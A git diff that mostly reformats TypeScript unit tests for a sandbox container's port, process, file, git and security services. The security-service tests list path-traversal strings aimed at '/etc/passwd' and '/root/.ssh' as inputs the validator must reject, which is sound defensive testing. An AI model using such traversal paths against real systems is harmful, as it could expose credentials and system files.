manager.determineErrorCode('list', new Error('Unknown error')) + ).toBe('PORT_LIST_ERROR'); + expect( + manager.determineErrorCode('get', new Error('Unknown error')) + ).toBe('PORT_GET_ERROR'); + expect( + manager.determineErrorCode('proxy', new Error('Unknown error')) + ).toBe('PROXY_ERROR'); + expect( + manager.determineErrorCode('update', new Error('Unknown error')) + ).toBe('PORT_UPDATE_ERROR'); + expect( + manager.determineErrorCode('cleanup', new Error('Unknown error')) + ).toBe('PORT_CLEANUP_ERROR'); }); }); describe('createErrorMessage', () => { it('should create error message for expose operation', () => { - const message = manager.createErrorMessage('expose', 8080, 'Port already in use'); + const message = manager.createErrorMessage( + 'expose', + 8080, + 'Port already in use' + ); expect(message).toBe('Failed to expose port 8080: Port already in use'); }); @@ -171,9 +193,15 @@ describe('PortManager', () => { }); it('should create error message for proxy operation', () => { - const message = manager.createErrorMessage('proxy', 8080, 'Connection refused'); + const message = manager.createErrorMessage( + 'proxy', + 8080, + 'Connection refused' + ); - expect(message).toBe('Failed to proxy request to port 8080: Connection refused'); + expect(message).toBe( + 'Failed to proxy request to port 8080: Connection refused' + ); }); }); @@ -201,9 +229,9 @@ describe('PortManager', () => { port: 8080, name: 'web-server', exposedAt: new Date(), - status: 'active' as const, - }, - }, + status: 'active' as const + } + } ]; const formatted = manager.formatPortList(ports); @@ -219,8 +247,8 @@ describe('PortManager', () => { port: 8080, name: 'web-server', exposedAt: new Date(), - status: 'active' as const, - }, + status: 'active' as const + } }, { port: 3000, @@ -228,14 +256,16 @@ describe('PortManager', () => { port: 3000, name: 'api-server', exposedAt: new Date(), - status: 'inactive' as const, - }, - }, + status: 'inactive' as const + } + } ]; const formatted = manager.formatPortList(ports); - expect(formatted).toBe('8080 (web-server, active), 3000 (api-server, inactive)'); + expect(formatted).toBe( + '8080 (web-server, active), 3000 (api-server, inactive)' + ); }); it('should handle unnamed ports', () => { @@ -245,9 +275,9 @@ describe('PortManager', () => { info: { port: 8080, exposedAt: new Date(), - status: 'active' as const, - }, - }, + status: 'active' as const + } + } ]; const formatted = manager.formatPortList(ports); @@ -270,7 +300,7 @@ describe('PortManager', () => { const portInfo: PortInfo = { port: 8080, exposedAt: oldDate, - status: 'inactive', + status: 'inactive' }; expect(manager.shouldCleanupPort(portInfo, threshold)).toBe(true); @@ -283,7 +313,7 @@ describe('PortManager', () => { const portInfo: PortInfo = { port: 8080, exposedAt: oldDate, - status: 'active', + status: 'active' }; expect(manager.shouldCleanupPort(portInfo, threshold)).toBe(false); @@ -296,7 +326,7 @@ describe('PortManager', () => { const portInfo: PortInfo = { port: 8080, exposedAt: recentDate, - status: 'inactive', + status: 'inactive' }; expect(manager.shouldCleanupPort(portInfo, threshold)).toBe(false); diff --git a/packages/sandbox-container/tests/managers/process-manager.test.ts b/packages/sandbox-container/tests/managers/process-manager.test.ts index 066b1045..c9da686c 100644 --- a/packages/sandbox-container/tests/managers/process-manager.test.ts +++ b/packages/sandbox-container/tests/managers/process-manager.test.ts @@ -46,7 +46,7 @@ describe('ProcessManager', () => { const options: ProcessOptions = { sessionId: 'session-123', cwd: '/tmp', - env: { NODE_ENV: 'test' }, + env: { NODE_ENV: 'test' } }; const result = manager.createProcessRecord('echo test', 12345, options); @@ -66,7 +66,11 @@ describe('ProcessManager', () => { it('should create process record with undefined pid', () => { const options: ProcessOptions = {}; - const result = manager.createProcessRecord('sleep 10', undefined, options); + const result = manager.createProcessRecord( + 'sleep 10', + undefined, + options + ); expect(result.pid).toBeUndefined(); expect(result.command).toBe('sleep 10'); diff --git a/packages/sandbox-container/tests/security/security-service.test.ts b/packages/sandbox-container/tests/security/security-service.test.ts index 1243f196..19d02608 100644 --- a/packages/sandbox-container/tests/security/security-service.test.ts +++ b/packages/sandbox-container/tests/security/security-service.test.ts @@ -15,7 +15,7 @@ import { SecurityService } from '@sandbox-container/security/security-service'; const mockLogger: Logger = { info: () => {}, warn: () => {}, - error: () => {}, + error: () => {} }; describe('SecurityService - Simplified Security Model', () => { @@ -35,7 +35,7 @@ describe('SecurityService - Simplified Security Model', () => { '/bin/bash', '/tmp/script.sh', '/root/.ssh', - '/sys/kernel', + '/sys/kernel' ]; for (const path of systemPaths) { @@ -51,7 +51,7 @@ describe('SecurityService - Simplified Security Model', () => { '../../../etc/passwd', '/workspace/../../../etc/passwd', './../../sensitive', - '/tmp/..', + '/tmp/..' ]; for (const path of traversalPaths) { @@ -90,12 +90,12 @@ describe('SecurityService - Simplified Security Model', () => { test('should allow all other ports (users control their sandbox)', () => { // Phase 0: No arbitrary port restrictions const allowedPorts = [ - 22, // SSH (was blocked in old system) - 80, // HTTP - 443, // HTTPS - 1024, // First user port - 8080, // Common dev port - 65535, // Max port + 22, // SSH (was blocked in old system) + 80, // HTTP + 443, // HTTPS + 1024, // First user port + 8080, // Common dev port + 65535 // Max port ]; for (const port of allowedPorts) { @@ -130,7 +130,7 @@ describe('SecurityService - Simplified Security Model', () => { 'chmod 777 /tmp/test', 'dd if=/dev/zero of=/tmp/test bs=1M count=10', 'mount', - 'eval "echo hello"', + 'eval "echo hello"' ]; for (const command of legitimateCommands) { @@ -173,11 +173,11 @@ describe('SecurityService - Simplified Security Model', () => { 'https://github.com/user/repo.git', 'https://gitlab.com/user/repo.git', 'https://bitbucket.org/user/repo.git', - 'https://git.company.com/user/repo.git', // Self-hosted - 'https://my-git-server.io/repo.git', // Custom domain + 'https://git.company.com/user/repo.git', // Self-hosted + 'https://my-git-server.io/repo.git', // Custom domain 'git@github.com:user/repo.git', - 'git@gitlab.company.com:user/repo.git', // Enterprise GitLab - 'https://dev.azure.com/org/project/_git/repo', // Azure DevOps + 'git@gitlab.company.com:user/repo.git', // Enterprise GitLab + 'https://dev.azure.com/org/project/_git/repo' // Azure DevOps ]; for (const url of gitUrls) { @@ -188,7 +188,9 @@ describe('SecurityService - Simplified Security Model', () => { }); test('should reject null bytes (format validation)', () => { - const result = service.validateGitUrl('https://github.com/user\0/repo.git'); + const result = service.validateGitUrl( + 'https://github.com/user\0/repo.git' + ); expect(result.isValid).toBe(false); expect(result.errors[0].message).toContain('null bytes'); }); @@ -207,7 +209,9 @@ describe('SecurityService - Simplified Security Model', () => { }); test('should trim whitespace', () => { - const result = service.validateGitUrl(' https://github.com/user/repo.git '); + const result = service.validateGitUrl( + ' https://github.com/user/repo.git ' + ); expect(result.isValid).toBe(true); expect(result.data).toBe('https://github.com/user/repo.git'); }); @@ -228,7 +232,7 @@ describe('SecurityService - Simplified Security Model', () => { const testLogger: Logger = { info: () => {}, warn: (msg, data) => logs.push({ msg, data }), - error: () => {}, + error: () => {} }; const testService = new SecurityService(testLogger); diff --git a/packages/sandbox-container/tests/services/file-service.test.ts b/packages/sandbox-container/tests/services/file-service.test.ts index 4d1923fd..29c39463 100644 --- a/packages/sandbox-container/tests/services/file-service.test.ts +++ b/packages/sandbox-container/tests/services/file-service.test.ts @@ -1,13 +1,19 @@ -import { beforeEach, describe, expect, it, vi } from "bun:test"; +import { beforeEach, describe, expect, it, vi } from 'bun:test'; import type { Logger, ServiceResult } from '@sandbox-container/core/types'; -import { FileService, type SecurityService } from '@sandbox-container/services/file-service'; -import type { RawExecResult, SessionManager } from '@sandbox-container/services/session-manager'; +import { + FileService, + type SecurityService +} from '@sandbox-container/services/file-service'; +import type { + RawExecResult, + SessionManager +} from '@sandbox-container/services/session-manager'; import { mocked } from '../test-utils'; // Mock SecurityService with proper typing const mockSecurityService: SecurityService = { validatePath: vi.fn(), - sanitizePath: vi.fn(), + sanitizePath: vi.fn() }; // Mock Logger with proper typing @@ -15,7 +21,7 @@ const mockLogger: Logger = { info: vi.fn(), error: vi.fn(), warn: vi.fn(), - debug: vi.fn(), + debug: vi.fn() }; // Mock SessionManager with proper typing @@ -25,7 +31,7 @@ const mockSessionManager: Partial = { killCommand: vi.fn(), setEnvVars: vi.fn(), getSession: vi.fn(), - createSession: vi.fn(), + createSession: vi.fn() }; describe('FileService', () => { @@ -57,25 +63,25 @@ describe('FileService', () => { // Mock exists check mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '', stderr: '' }, + data: { exitCode: 0, stdout: '', stderr: '' } } as ServiceResult); // Mock stat command (file size) mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '13', stderr: '' }, + data: { exitCode: 0, stdout: '13', stderr: '' } } as ServiceResult); // Mock MIME type detection mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: 'text/plain', stderr: '' }, + data: { exitCode: 0, stdout: 'text/plain', stderr: '' } } as ServiceResult); // Mock cat command for text file mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: testContent, stderr: '' }, + data: { exitCode: 0, stdout: testContent, stderr: '' } } as ServiceResult); const result = await fileService.read(testPath, {}, 'session-123'); @@ -113,25 +119,25 @@ describe('FileService', () => { // Mock exists check mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '', stderr: '' }, + data: { exitCode: 0, stdout: '', stderr: '' } } as ServiceResult); // Mock stat command (file size) mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '1024', stderr: '' }, + data: { exitCode: 0, stdout: '1024', stderr: '' } } as ServiceResult); // Mock MIME type detection - PNG image mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: 'image/png', stderr: '' }, + data: { exitCode: 0, stdout: 'image/png', stderr: '' } } as ServiceResult); // Mock base64 command for binary file mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: base64Content, stderr: '' }, + data: { exitCode: 0, stdout: base64Content, stderr: '' } } as ServiceResult); const result = await fileService.read(testPath, {}, 'session-123'); @@ -159,25 +165,25 @@ describe('FileService', () => { // Mock exists check mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '', stderr: '' }, + data: { exitCode: 0, stdout: '', stderr: '' } } as ServiceResult); // Mock stat command mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '17', stderr: '' }, + data: { exitCode: 0, stdout: '17', stderr: '' } } as ServiceResult); // Mock MIME type detection - JSON mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: 'application/json', stderr: '' }, + data: { exitCode: 0, stdout: 'application/json', stderr: '' } } as ServiceResult); // Mock cat command mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: testContent, stderr: '' }, + data: { exitCode: 0, stdout: testContent, stderr: '' } } as ServiceResult); const result = await fileService.read(testPath, {}, 'session-123'); @@ -198,25 +204,25 @@ describe('FileService', () => { // Mock exists check mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '', stderr: '' }, + data: { exitCode: 0, stdout: '', stderr: '' } } as ServiceResult); // Mock stat command mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '20', stderr: '' }, + data: { exitCode: 0, stdout: '20', stderr: '' } } as ServiceResult); // Mock MIME type detection - JavaScript mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: 'text/javascript', stderr: '' }, + data: { exitCode: 0, stdout: 'text/javascript', stderr: '' } } as ServiceResult); // Mock cat command mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: testContent, stderr: '' }, + data: { exitCode: 0, stdout: testContent, stderr: '' } } as ServiceResult); const result = await fileService.read(testPath, {}, 'session-123'); @@ -240,7 +246,9 @@ describe('FileService', () => { expect(result.success).toBe(false); if (!result.success) { expect(result.error.code).toBe('VALIDATION_FAILED'); - expect(result.error.message).toContain('Path contains invalid characters'); + expect(result.error.message).toContain( + 'Path contains invalid characters' + ); } // Should not attempt file operations @@ -254,8 +262,8 @@ describe('FileService', () => { data: { exitCode: 1, // test -e returns 1 when file doesn't exist stdout: '', - stderr: '', - }, + stderr: '' + } } as ServiceResult); const result = await fileService.read('/tmp/nonexistent.txt'); @@ -270,13 +278,13 @@ describe('FileService', () => { // Mock exists check mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '', stderr: '' }, + data: { exitCode: 0, stdout: '', stderr: '' } } as ServiceResult); // Mock stat command failure mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 1, stdout: '', stderr: 'Permission denied' }, + data: { exitCode: 1, stdout: '', stderr: 'Permission denied' } } as ServiceResult); const result = await fileService.read('/tmp/test.txt'); @@ -291,19 +299,19 @@ describe('FileService', () => { // Mock exists check mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '', stderr: '' }, + data: { exitCode: 0, stdout: '', stderr: '' } } as ServiceResult); // Mock stat command mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '100', stderr: '' }, + data: { exitCode: 0, stdout: '100', stderr: '' } } as ServiceResult); // Mock MIME type detection failure mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 1, stdout: '', stderr: 'Cannot detect MIME type' }, + data: { exitCode: 1, stdout: '', stderr: 'Cannot detect MIME type' } } as ServiceResult); const result = await fileService.read('/tmp/test.txt'); @@ -321,8 +329,8 @@ describe('FileService', () => { data: { exitCode: 0, stdout: '', - stderr: '', - }, + stderr: '' + } } as ServiceResult); // Mock read command failure @@ -331,8 +339,8 @@ describe('FileService', () => { data: { exitCode: 1, stdout: '', - stderr: 'Permission denied', - }, + stderr: 'Permission denied' + } } as ServiceResult); const result = await fileService.read('/tmp/test.txt'); @@ -348,18 +356,25 @@ describe('FileService', () => { it('should write file successfully with base64 encoding', async () => { const testPath = '/tmp/test.txt'; const testContent = 'Test content'; - const base64Content = Buffer.from(testContent, 'utf-8').toString('base64'); + const base64Content = Buffer.from(testContent, 'utf-8').toString( + 'base64' + ); mocked(mockSessionManager.executeInSession).mockResolvedValue({ success: true, data: { exitCode: 0, stdout: '', - stderr: '', - }, + stderr: '' + } } as ServiceResult); - const result = await fileService.write(testPath, testContent, {}, 'session-123'); + const result = await fileService.write( + testPath, + testContent, + {}, + 'session-123' + ); expect(result.success).toBe(true); @@ -376,8 +391,8 @@ describe('FileService', () => { data: { exitCode: 1, stdout: '', - stderr: 'Disk full', - }, + stderr: 'Disk full' + } } as ServiceResult); const result = await fileService.write('/tmp/test.txt', 'content'); @@ -402,25 +417,29 @@ describe('FileService', () => { // Mock first exists check (from delete) mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '', stderr: '' }, + data: { exitCode: 0, stdout: '', stderr: '' } } as ServiceResult); // Mock second exists check (from stat) mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '', stderr: '' }, + data: { exitCode: 0, stdout: '', stderr: '' } } as ServiceResult); // Mock stat command (to verify it's not a directory) mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: 'regular file:100:1234567890:1234567890\n', stderr: '' }, + data: { + exitCode: 0, + stdout: 'regular file:100:1234567890:1234567890\n', + stderr: '' + } } as ServiceResult); // Mock delete command mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '', stderr: '' }, + data: { exitCode: 0, stdout: '', stderr: '' } } as ServiceResult); const result = await fileService.delete(testPath, 'session-123'); @@ -440,7 +459,7 @@ describe('FileService', () => { // Mock exists check returning false mocked(mockSessionManager.executeInSession).mockResolvedValue({ success: true, - data: { exitCode: 1, stdout: '', stderr: '' }, + data: { exitCode: 1, stdout: '', stderr: '' } } as ServiceResult); const result = await fileService.delete('/tmp/nonexistent.txt'); @@ -455,19 +474,23 @@ describe('FileService', () => { // Mock exists check mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '', stderr: '' }, + data: { exitCode: 0, stdout: '', stderr: '' } } as ServiceResult); // Mock stat check mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: 'regular file:100:1234567890:1234567890\n', stderr: '' }, + data: { + exitCode: 0, + stdout: 'regular file:100:1234567890:1234567890\n', + stderr: '' + } } as ServiceResult); // Mock delete command failure mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 1, stdout: '', stderr: 'Permission denied' }, + data: { exitCode: 1, stdout: '', stderr: 'Permission denied' } } as ServiceResult); const result = await fileService.delete('/tmp/test.txt'); @@ -487,13 +510,13 @@ describe('FileService', () => { // Mock exists check mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '', stderr: '' }, + data: { exitCode: 0, stdout: '', stderr: '' } } as ServiceResult); // Mock rename command mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '', stderr: '' }, + data: { exitCode: 0, stdout: '', stderr: '' } } as ServiceResult); const result = await fileService.rename(oldPath, newPath, 'session-123'); @@ -517,13 +540,13 @@ describe('FileService', () => { // Mock exists check mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '', stderr: '' }, + data: { exitCode: 0, stdout: '', stderr: '' } } as ServiceResult); // Mock rename failure mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 1, stdout: '', stderr: 'Target exists' }, + data: { exitCode: 1, stdout: '', stderr: 'Target exists' } } as ServiceResult); const result = await fileService.rename('/tmp/old.txt', '/tmp/new.txt'); @@ -543,16 +566,20 @@ describe('FileService', () => { // Mock exists check mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '', stderr: '' }, + data: { exitCode: 0, stdout: '', stderr: '' } } as ServiceResult); // Mock move command mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '', stderr: '' }, + data: { exitCode: 0, stdout: '', stderr: '' } } as ServiceResult); - const result = await fileService.move(sourcePath, destPath, 'session-123'); + const result = await fileService.move( + sourcePath, + destPath, + 'session-123' + ); expect(result.success).toBe(true); @@ -569,10 +596,13 @@ describe('FileService', () => { // Mock exists check returning false mocked(mockSessionManager.executeInSession).mockResolvedValue({ success: true, - data: { exitCode: 1, stdout: '', stderr: '' }, + data: { exitCode: 1, stdout: '', stderr: '' } } as ServiceResult); - const result = await fileService.move('/tmp/nonexistent.txt', '/tmp/dest.txt'); + const result = await fileService.move( + '/tmp/nonexistent.txt', + '/tmp/dest.txt' + ); expect(result.success).toBe(false); if (!result.success) { @@ -587,7 +617,7 @@ describe('FileService', () => { mocked(mockSessionManager.executeInSession).mockResolvedValue({ success: true, - data: { exitCode: 0, stdout: '', stderr: '' }, + data: { exitCode: 0, stdout: '', stderr: '' } } as ServiceResult); const result = await fileService.mkdir(testPath, {}, 'session-123'); @@ -606,10 +636,14 @@ describe('FileService', () => { mocked(mockSessionManager.executeInSession).mockResolvedValue({ success: true, - data: { exitCode: 0, stdout: '', stderr: '' }, + data: { exitCode: 0, stdout: '', stderr: '' } } as ServiceResult); - const result = await fileService.mkdir(testPath, { recursive: true }, 'session-123'); + const result = await fileService.mkdir( + testPath, + { recursive: true }, + 'session-123' + ); expect(result.success).toBe(true); @@ -623,7 +657,7 @@ describe('FileService', () => { it('should handle mkdir command failures', async () => { mocked(mockSessionManager.executeInSession).mockResolvedValue({ success: true, - data: { exitCode: 1, stdout: '', stderr: 'Parent directory not found' }, + data: { exitCode: 1, stdout: '', stderr: 'Parent directory not found' } } as ServiceResult); const result = await fileService.mkdir('/tmp/newdir'); @@ -639,7 +673,7 @@ describe('FileService', () => { it('should return true when file exists', async () => { mocked(mockSessionManager.executeInSession).mockResolvedValue({ success: true, - data: { exitCode: 0, stdout: '', stderr: '' }, + data: { exitCode: 0, stdout: '', stderr: '' } } as ServiceResult); const result = await fileService.exists('/tmp/test.txt', 'session-123'); @@ -659,7 +693,7 @@ describe('FileService', () => { it('should return false when file does not exist', async () => { mocked(mockSessionManager.executeInSession).mockResolvedValue({ success: true, - data: { exitCode: 1, stdout: '', stderr: '' }, + data: { exitCode: 1, stdout: '', stderr: '' } } as ServiceResult); const result = await fileService.exists('/tmp/nonexistent.txt'); @@ -675,8 +709,8 @@ describe('FileService', () => { success: false, error: { message: 'Session error', - code: 'SESSION_ERROR', - }, + code: 'SESSION_ERROR' + } } as ServiceResult); const result = await fileService.exists('/tmp/test.txt'); @@ -695,13 +729,17 @@ describe('FileService', () => { // Mock exists check mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '', stderr: '' }, + data: { exitCode: 0, stdout: '', stderr: '' } } as ServiceResult); // Mock stat command mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: 'regular file:1024:1672531200:1672531100\n', stderr: '' }, + data: { + exitCode: 0, + stdout: 'regular file:1024:1672531200:1672531100\n', + stderr: '' + } } as ServiceResult); const result = await fileService.stat(testPath, 'session-123'); @@ -720,7 +758,7 @@ describe('FileService', () => { // Mock exists check returning false mocked(mockSessionManager.executeInSession).mockResolvedValue({ success: true, - data: { exitCode: 1, stdout: '', stderr: '' }, + data: { exitCode: 1, stdout: '', stderr: '' } } as ServiceResult); const result = await fileService.stat('/tmp/nonexistent.txt'); @@ -735,13 +773,13 @@ describe('FileService', () => { // Mock exists check mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 0, stdout: '', stderr: '' }, + data: { exitCode: 0, stdout: '', stderr: '' } } as ServiceResult); // Mock stat command failure mocked(mockSessionManager.executeInSession).mockResolvedValueOnce({ success: true, - data: { exitCode: 1, stdout: '', stderr: 'stat error' }, + data: { exitCode: 1, stdout: '', stderr: 'stat error' } } as ServiceResult); const result = await fileService.stat('/tmp/test.txt'); @@ -752,5 +790,4 @@ describe('FileService', () => { } }); }); - }); diff --git a/packages/sandbox-container/tests/services/git-service.test.ts b/packages/sandbox-container/tests/services/git-service.test.ts index 956d8963..6b278427 100644 --- a/packages/sandbox-container/tests/services/git-service.test.ts +++ b/packages/sandbox-container/tests/services/git-service.test.ts @@ -1,21 +1,31 @@ -import { beforeEach, describe, expect, it, vi } from "bun:test"; -import type { CloneOptions, Logger, ServiceResult } from '@sandbox-container/core/types'; -import { GitService, type SecurityService } from '@sandbox-container/services/git-service'; -import type { RawExecResult, SessionManager } from '@sandbox-container/services/session-manager'; +import { beforeEach, describe, expect, it, vi } from 'bun:test'; +import type { + CloneOptions, + Logger, + ServiceResult +} from '@sandbox-container/core/types'; +import { + GitService, + type SecurityService +} from '@sandbox-container/services/git-service'; +import type { + RawExecResult, + SessionManager +} from '@sandbox-container/services/session-manager'; import { mocked } from '../test-utils'; // Properly typed mock dependencies const mockSecurityService: SecurityService = { validateGitUrl: vi.fn(), validatePath: vi.fn(), - sanitizePath: vi.fn(), + sanitizePath: vi.fn() }; const mockLogger: Logger = { info: vi.fn(), error: vi.fn(), warn: vi.fn(), - debug: vi.fn(), + debug: vi.fn() }; // Properly typed mock SessionManager @@ -25,7 +35,7 @@ const mockSessionManager: Partial = { killCommand: vi.fn(), setEnvVars: vi.fn(), getSession: vi.fn(), - createSession: vi.fn(), + createSession: vi.fn() }; describe('GitService', () => { @@ -61,19 +71,21 @@ describe('GitService', () => { data: { exitCode: 0, stdout: 'Cloning into target-dir...', - stderr: '', - }, + stderr: '' + } } as ServiceResult) .mockResolvedValueOnce({ success: true, data: { exitCode: 0, stdout: 'main\n', - stderr: '', - }, + stderr: '' + } } as ServiceResult); - const result = await gitService.cloneRepository('https://github.com/user/repo.git'); + const result = await gitService.cloneRepository( + 'https://github.com/user/repo.git' + ); expect(result.success).toBe(true); if (result.success) { @@ -82,8 +94,12 @@ describe('GitService', () => { } // Verify security validations were called - expect(mockSecurityService.validateGitUrl).toHaveBeenCalledWith('https://github.com/user/repo.git'); - expect(mockSecurityService.validatePath).toHaveBeenCalledWith('/workspace/repo'); + expect(mockSecurityService.validateGitUrl).toHaveBeenCalledWith( + 'https://github.com/user/repo.git' + ); + expect(mockSecurityService.validatePath).toHaveBeenCalledWith( + '/workspace/repo' + ); // Verify SessionManager was called for git clone (cwd is undefined) expect(mockSessionManager.executeInSession).toHaveBeenNthCalledWith( @@ -108,25 +124,28 @@ describe('GitService', () => { data: { exitCode: 0, stdout: 'Cloning...', - stderr: '', - }, + stderr: '' + } } as ServiceResult) .mockResolvedValueOnce({ success: true, data: { exitCode: 0, stdout: 'develop\n', - stderr: '', - }, + stderr: '' + } } as ServiceResult); const options: CloneOptions = { branch: 'develop', targetDir: '/tmp/custom-target', - sessionId: 'session-123', + sessionId: 'session-123' }; - const result = await gitService.cloneRepository('https://github.com/user/repo.git', options); + const result = await gitService.cloneRepository( + 'https://github.com/user/repo.git', + options + ); expect(result.success).toBe(true); if (result.success) { @@ -148,14 +167,18 @@ describe('GitService', () => { errors: ['Invalid URL scheme', 'URL not in allowlist'] }); - const result = await gitService.cloneRepository('ftp://malicious.com/repo.git'); + const result = await gitService.cloneRepository( + 'ftp://malicious.com/repo.git' + ); expect(result.success).toBe(false); if (!result.success) { expect(result.error.code).toBe('INVALID_GIT_URL'); expect(result.error.message).toContain('Invalid URL scheme'); expect(result.error.details?.validationErrors).toBeDefined(); - expect(result.error.details?.validationErrors?.[0]?.message).toContain('Invalid URL scheme'); + expect(result.error.details?.validationErrors?.[0]?.message).toContain( + 'Invalid URL scheme' + ); } // Should not attempt git clone @@ -177,7 +200,9 @@ describe('GitService', () => { if (!result.success) { expect(result.error.code).toBe('VALIDATION_FAILED'); expect(result.error.details?.validationErrors).toBeDefined(); - expect(result.error.details?.validationErrors?.[0]?.message).toContain('Path outside sandbox'); + expect(result.error.details?.validationErrors?.[0]?.message).toContain( + 'Path outside sandbox' + ); } // Should not attempt git clone @@ -190,11 +215,13 @@ describe('GitService', () => { data: { exitCode: 128, stdout: '', - stderr: 'fatal: repository not found', - }, + stderr: 'fatal: repository not found' + } } as ServiceResult); - const result = await gitService.cloneRepository('https://github.com/user/nonexistent.git'); + const result = await gitService.cloneRepository( + 'https://github.com/user/nonexistent.git' + ); expect(result.success).toBe(false); if (!result.success) { @@ -209,11 +236,13 @@ describe('GitService', () => { success: false, error: { message: 'Session execution failed', - code: 'SESSION_ERROR', - }, + code: 'SESSION_ERROR' + } } as ServiceResult); - const result = await gitService.cloneRepository('https://github.com/user/repo.git'); + const result = await gitService.cloneRepository( + 'https://github.com/user/repo.git' + ); expect(result.success).toBe(false); if (!result.success) { @@ -229,11 +258,15 @@ describe('GitService', () => { data: { exitCode: 0, stdout: 'Switched to branch develop', - stderr: '', - }, + stderr: '' + } } as ServiceResult); - const result = await gitService.checkoutBranch('/tmp/repo', 'develop', 'session-123'); + const result = await gitService.checkoutBranch( + '/tmp/repo', + 'develop', + 'session-123' + ); expect(result.success).toBe(true); @@ -263,11 +296,14 @@ describe('GitService', () => { data: { exitCode: 1, stdout: '', - stderr: "error: pathspec 'nonexistent' did not match", - }, + stderr: "error: pathspec 'nonexistent' did not match" + } } as ServiceResult); - const result = await gitService.checkoutBranch('/tmp/repo', 'nonexistent'); + const result = await gitService.checkoutBranch( + '/tmp/repo', + 'nonexistent' + ); expect(result.success).toBe(false); if (!result.success) { @@ -284,11 +320,14 @@ describe('GitService', () => { data: { exitCode: 0, stdout: 'main\n', - stderr: '', - }, + stderr: '' + } } as ServiceResult); - const result = await gitService.getCurrentBranch('/tmp/repo', 'session-123'); + const result = await gitService.getCurrentBranch( + '/tmp/repo', + 'session-123' + ); expect(result.success).toBe(true); if (result.success) { @@ -318,8 +357,8 @@ describe('GitService', () => { data: { exitCode: 0, stdout: branchOutput, - stderr: '', - }, + stderr: '' + } } as ServiceResult); const result = await gitService.listBranches('/tmp/repo', 'session-123'); @@ -335,7 +374,7 @@ describe('GitService', () => { // Should not include duplicates or HEAD references expect(result.data).not.toContain('HEAD'); - expect(result.data.filter(b => b === 'main')).toHaveLength(1); + expect(result.data.filter((b) => b === 'main')).toHaveLength(1); } expect(mockSessionManager.executeInSession).toHaveBeenCalledWith( @@ -351,8 +390,8 @@ describe('GitService', () => { data: { exitCode: 128, stdout: '', - stderr: 'fatal: not a git repository', - }, + stderr: 'fatal: not a git repository' + } } as ServiceResult); const result = await gitService.listBranches('/tmp/not-a-repo'); diff --git a/packages/sandbox-container/tests/services/port-service.test.ts b/packages/sandbox-container/tests/services/port-service.test.ts index dd049c94..7f7e3830 100644 --- a/packages/sandbox-container/tests/services/port-service.test.ts +++ b/packages/sandbox-container/tests/services/port-service.test.ts @@ -1,6 +1,15 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "bun:test"; -import type { Logger, PortInfo, PortNotFoundResponse, ProxyErrorResponse } from '@sandbox-container/core/types'; -import { PortService, type PortStore, type SecurityService } from '@sandbox-container/services/port-service'; +import { afterEach, beforeEach, describe, expect, it, vi } from 'bun:test'; +import type { + Logger, + PortInfo, + PortNotFoundResponse, + ProxyErrorResponse +} from '@sandbox-container/core/types'; +import { + PortService, + type PortStore, + type SecurityService +} from '@sandbox-container/services/port-service'; import { mocked } from '../test-utils'; // Properly typed mock dependencies @@ -9,18 +18,18 @@ const mockPortStore: PortStore = { unexpose: vi.fn(), get: vi.fn(), list: 